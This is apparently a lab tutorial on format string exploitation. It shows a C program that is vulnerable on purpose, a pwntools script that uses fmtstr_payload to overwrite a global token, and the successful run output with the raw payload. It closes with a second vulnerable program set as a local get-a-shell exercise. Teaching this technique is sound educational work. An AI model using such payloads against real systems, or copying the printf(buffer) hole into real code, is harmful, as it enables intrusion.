Yes, I know this is a really cliche topic but I am just covering one cool thing that you can do with pwntools. That's all, I promise. Now, we will be looking at this simple program that is vulnerable to a format string attack. The idea is to modify the token so that it contains 0xcafebabe when the check occurs.
#include <stdio.h>
#include <stdlib.h>
unsigned int token = 0xdeadbeef;
int main() {
char buffer[200];
scanf("%199s", buffer);
printf(buffer);
printf("\nToken = 0x%x\n", token);
if (token == 0xcafebabe) {
puts("Winner!");
}
else {
puts("Loser!");
}
}
So after playing around with the program, we figure out that the first format argument we control is at offset 5.
ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ ../build/2_overwrite
AAAA%5$x
AAAA41414141
Token = 0xdeadbeef
Loser!
Next, we need the address of the token.
ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ nm ../build/2_overwrite | grep token
0804a028 D token
Now we can write our exploit script. Pwntools actually has a format string attack generator so we can beat the binary in a few quick easy lines.
#!/usr/bin/python
from pwn import *
token_addr = 0x0804a028
def main():
p = process("../build/2_overwrite")
payload = fmtstr_payload(5, {token_addr: 0xcafebabe})
log.info("Sending payload: %s" % payload)
p.sendline(payload)
data = p.recvall()
realdata = data[data.find("Token"):]
log.success(realdata)
if __name__ == "__main__":
main()
Running the program.
ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ python 1_overwrite_token.py
[+] Starting local process '../build/2_overwrite': Done
[*] Sending payload: (�)�*�+�%174c%5$hhn%252c%6$hhn%68c%7$hhn%204c%8$hhn
[▁] Receiving all data: 0B
[+] Receiving all data: Done (742B)
[+] Token = 0xcafebabe
Winner!
Before you continue onto the more advanced exercises, here's something to tackle. The source code to this challenge is given:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char echoed[1000] = {0};
char number[200];
int times;
int i;
while (1) {
read(0, echoed, 999);
puts("How many times do you want it echoed?");
scanf("%199s", number);
times = atoi(number);
for (i = 0; i < times; i++) {
printf(echoed);
}
}
}
The binary to the exercise can be found here. The remote target is nc localhost 1903
and the goal is to get a shell.